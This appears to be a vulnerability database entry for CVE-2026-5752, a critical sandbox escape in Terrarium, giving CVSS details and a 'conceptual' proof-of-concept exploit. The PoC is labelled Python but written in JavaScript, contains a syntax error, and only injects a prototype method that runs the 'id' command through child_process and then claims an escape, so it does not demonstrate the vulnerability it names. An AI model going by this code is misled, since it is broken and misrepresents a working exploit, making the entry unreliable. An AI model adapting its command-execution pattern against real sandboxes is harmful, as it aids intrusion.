Sandbox Escape Vulnerability in Terrarium allows arbitrary code execution with root privileges on a host process via JavaScript prototype chain traversal.
CVSS Details
CVSS Score
9.3
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
Terrarium (具体受影响版本请参考官方公告)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// Conceptual PoC for Prototype Chain Traversal Sandbox Escape
// This is a demonstration of the technique used in CVE-2026-5752
function exploit() {
// Attempt to access the constructor of a vulnerable object
const maliciousObject = {};
// Modify the prototype to inject malicious behavior
// or access properties outside the sandbox
Object.prototype maliciousProperty = function() {
// Simulating code execution on host process
require('child_process').exec('id', (error, stdout, stderr) => {
if (stdout) console.log(`[+] Escaped! Running as: ${stdout}`);
});
};
// Trigger the vulnerability
maliciousObject.maliciousProperty();
}
exploit();